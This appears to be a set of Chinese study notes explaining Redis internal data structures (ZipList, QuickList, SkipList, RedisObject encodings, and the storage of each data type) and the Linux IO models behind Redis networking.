1-4-3.ZipList的连锁更新问题ZipList的每个Entry都包含previous_entry_length来记录上一个节点的大小,长度是1个或5个字节:如果前一节点的长度小于254字节,则采用1个字节来保存这个长度值如果前一节点的长度大于等于254字节,则采用5个字节来保存这个长度值,第一个字节为0xfe,后四个字节才是真实长度数据假设我们有N个连续的、长度为250~253字节之间的entry,因此entry的previous_entry_length属性用1个字节即可表示,如图所示:ZipList这种特殊情况下产生的连续多次空间扩展操作称之为连锁更新(Cascade Update)。新增、删除都可能导致连锁更新的发生。ZipList数据结构优点压缩列表的可以看做一种连续内存空间的"双向链表"列表的节点之间不是通过指针连接,而是记录上一节点和本节点长度来寻址,内存占用较低如果列表数据过多,导致链表过长,可能影响查询性能增或删较大数据时有可能发生连续更新问题1-5.QuickListQuickList,它是一个双端链表,只不过链表中的每个节点都是一个ZipList。为了避免QuickList中的每个ZipList中entry过多,Redis提供了一个配置项:list-max-ziplist-size来限制如果值为正,则代表ZipList的允许的entry个数的最大值如果值为负,则代表ZipList的最大内存大小(常用)分5种情况:-1:每个ZipList的内存占用不能超过4kb-2:每个ZipList的内存占用不能超过8kb(默认值)-3:每个ZipList的内存占用不能超过16kb-4:每个ZipList的内存占用不能超过32kb-5:每个ZipList的内存占用不能超过64kbQuickList数据结构优点是一个节点为ZipList的双端链表节点采用ZipList,解决了传统链表的内存占用问题控制了ZipList大小,解决连续内存空间申请效率问题中间节点可以压缩,进一步节省了内存1-6.SkipListSkipList(跳表)首先是链表,但与传统链表相比有几点差异:元素按照升序排列存储节点可能包含多个指针,指针跨度不同。SkipList数据结构优点:跳跃表是一个双向链表,每个节点都包含score和ele值节点按照score值排序,score值一样则按照ele字典排序每个节点都可以包含多层指针,层数是1到32之间的随机数不同层指针到下一个节点的跨度不同,层级越高,跨度越大增删改查效率与红黑树基本一致,实现却更简单1-7.RedisObjectRedis中的任意数据类型的键和值都会被封装为一个RedisObject,也叫做Redis对象从Redis的使用者的角度来看,⼀个Redis节点包含多个database(非cluster模式下默认是16个,cluster模式下只能是1个),而一个database维护了从key space到object space的映射关系。这个映射关系的key是string类型,⽽value可以是多种数据类型,比如:string, list, hash、set、sorted set等。可以看到,key的类型固定是string,而value可能的类型是多个。从Redis内部实现的⾓度来看,database内的这个映射关系是用⼀个dict来维护的。dict的key固定用⼀种数据结构来表达就够了,这就是动态字符串sds。而value则比较复杂,为了在同⼀个dict内能够存储不同类型的value,这就需要⼀个通⽤的数据结构,这个通用的数据结构就是robj,全名是redisObject。1-7-1.Redis的编码方式Redis中会根据存储的数据类型不同,选择不同的编码方式,共包含11种不同类型:编号编码方式说明0OBJ_ENCODING_RAWraw编码动态字符串1OBJ_ENCODING_INTlong类型的整数的字符串2OBJ_ENCODING_HThash表(字典dict)3OBJ_ENCODING_ZIPMAP已废弃4OBJ_ENCODING_LINKEDLIST双端链表5OBJ_ENCODING_ZIPLIST压缩列表6OBJ_ENCODING_INTSET整数集合7OBJ_ENCODING_SKIPLIST跳表8OBJ_ENCODING_EMBSTRembstr的动态字符串9OBJ_ENCODING_QUICKLIST快速列表10OBJ_ENCODING_STREAMStream流1-7-2.Redis的五种数据结构Redis中会根据存储的数据类型不同,选择不同的编码方式。每种数据类型的使用的编码方式如下:数据类型编码方式OBJ_STRINGint、embstr、rawOBJ_LISTQuickList(3.2以后)OBJ_SETIntset、HTOBJ_ZSETZipList、HT、SkipListOBJ_HASHZipList、HT2-Redis数据类型2-1.StringString是Redis中最常见的数据存储类型:其基本编码方式是RAW,基于简单动态字符串(SDS) 实现,存储上限为512mb。如果存储的SDS长度小于44字节,则会采用EMBSTR编码,此时object head与SDS是一段连续空间。申请内存时只需要调用一次内存分配函数,效率更高。如果存储的字符串是整数值,并且大小在LONG_MAX范围内,则会采用INT编码:直接将数据保存在RedisObject的ptr指针位置(刚好8字节),不再需要SDS了。2-2.ListRedis的List类型可以从首、尾操作列表中的元素:在3.2版本之后,Redis统一采用QuickList来实现List:2-3.SetSet是Redis中的单列集合,满足下列特点:不保证有序性保证元素唯一求交集、并集、差集HashTable,也就是Redis中的Dict,确保元素有序,不过Dict是双列集合(可以存键、值对),不满足查询效率Set,也就是Redis底层数据结构中的IntSet,确保元素有序,可以满足元素唯一、查询效率极高要求。为了查询效率和唯一性,set采用HT编码(Dict)。Dict中的key用来存储元素,value统一为null。当存储的所有数据都是整数,并且元素数量不超过set-max-intset-entries时,Set会采用IntSet编码,以节省内存2-4.ZSetZSet也就是SortedSet,其中每一个元素都需要指定一个score值和member值:可以根据score值排序后member必须唯一可以根据member查询分数zset底层数据结构必须满足键值存储、键必须唯一、可排序这几个需求SkipList:可以排序,并且可以同时存储score和ele值(member)HT(Dict):可以键值存储,并且可以根据key找value当元素数量不多时,HT和SkipList的优势不明显,而且更耗内存。因此zset还会采用ZipList结构来节省内存,不过需要同时满足两个条件:元素数量小于zset_max_ziplist_entries,默认值128每个元素都小于zset_max_ziplist_value字节,默认值64ziplist本身没有排序功能,而且没有键值对的概念,因此需要有zset通过编码实现:ZipList是连续内存,因此score和element是紧挨在一起的两个entry, element在前,score在后score越小越接近队首,score越大越接近队尾,按照score值升序排列2-5.HashHash结构与Redis中的Zset非常类似:都是键值存储都需求根据键获取值键必须唯一区别如下:zset的键是member,值是score;hash的键和值都是任意值zset要根据score排序;hash则无需排序Hash底层采用的编码与Zset也基本一致,只需要把排序有关的SkipList去掉即可:Hash结构默认采用ZipList编码,用以节省内存。 ZipList中相邻的两个entry 分别保存field和value当数据量较大时,Hash结构会转为HT编码,也就是Dict,触发条件有两个:ZipList中的元素数量超过了hash-max-ziplist-entries(默认512)ZipList中的任意entry大小超过了hash-max-ziplist-value(默认64字节)3-Redis网络模型3-1.用户空间和内核态空间任何Linux发行版,其系统内核都是Linux。我们的应用都需要通过Linux内核与硬件交互用户的应用,比如redis,mysql等其实是没有办法去执行访问我们操作系统的硬件的,所以可以通过发行版的这个壳子去访问内核,再通过内核去访问计算机硬件计算机硬件包括,如cpu,内存,网卡等等,内核(通过寻址空间)可以操作硬件的,但是内核需要不同设备的驱动,有了这些驱动之后,内核就可以去对计算机硬件去进行 内存管理,文件系统的管理,进程的管理等等内核本身上来说也是一个应用,所以他本身也需要一些内存,cpu等设备资源,用户应用本身也在消耗这些资源,如果不加任何限制,用户去操作随意的去操作我们的资源,就有可能导致一些冲突,甚至有可能导致我们的系统出现无法运行的问题,因此需要把用户和内核隔离开应用程序也好,还是内核空间也好,都是没有办法直接去物理内存的,而是通过分配一些虚拟内存映射到物理内存中,内核和应用程序去访问虚拟内存的时候,就需要一个虚拟地址,这个地址是一个无符号的整数,比如一个32位的操作系统,他的带宽就是32,他的虚拟地址就是2的32次方,也就是说他寻址的范围就是0~2的32次方, 这片寻址空间对应的就是2的32个字节,就是4GB,这个4GB,会有3个GB分给用户空间,会有1GB给内核系统在linux中,他们权限分成两个等级,0和3,用户空间只能执行受限的命令(Ring3),而且不能直接调用系统资源,必须通过内核提供的接口来访问内核空间可以执行特权命令(Ring0)比如:Linux系统为了提高IO效率,会在用户空间和内核空间都加入缓冲区:写数据时,要把用户缓冲数据拷贝到内核缓冲区,然后写入设备读数据时,要从设备读取数据到内核缓冲区,然后拷贝到用户缓冲区3-2.阻塞IO应用程序想要去读取数据,是无法直接去读取磁盘数据的,需要先到内核里边去等待内核操作硬件拿到数据,需要等待的等到内核从磁盘上把数据加载出来之后,再把这个数据写给用户的缓存区,如果是阻塞IO,那么整个过程中,用户从发起读请求开始,一直到读取到数据,都是一个阻塞状态。阶段一:用户进程尝试读取数据(比如网卡数据)此时数据尚未到达,内核需要等待数据此时用户进程也处于阻塞状态阶段二:数据到达并拷贝到内核缓冲区,代表已就绪将内核数据拷贝到用户缓冲区拷贝过程中,用户进程依然阻塞等待拷贝完成,用户进程解除阻塞,处理数据可以看到,阻塞IO模型中,用户进程在两个阶段都是阻塞状态。3-3.非阻塞IO非阻塞IO的recvfrom操作会立即返回结果而不是阻塞用户进程。阶段一:用户进程尝试读取数据(比如网卡数据)此时数据尚未到达,内核需要等待数据返回异常给用户进程用户进程拿到error后,再次尝试读取循环往复,直到数据就绪阶段二:将内核数据拷贝到用户缓冲区拷贝过程中,用户进程依然阻塞等待拷贝完成,用户进程解除阻塞,处理数据可以看到,非阻塞IO模型中,用户进程在第一个阶段是非阻塞,第二个阶段是阻塞状态。虽然是非阻塞,但性能并没有得到提高。而且盲等机制会导致CPU空转,CPU使用率暴增。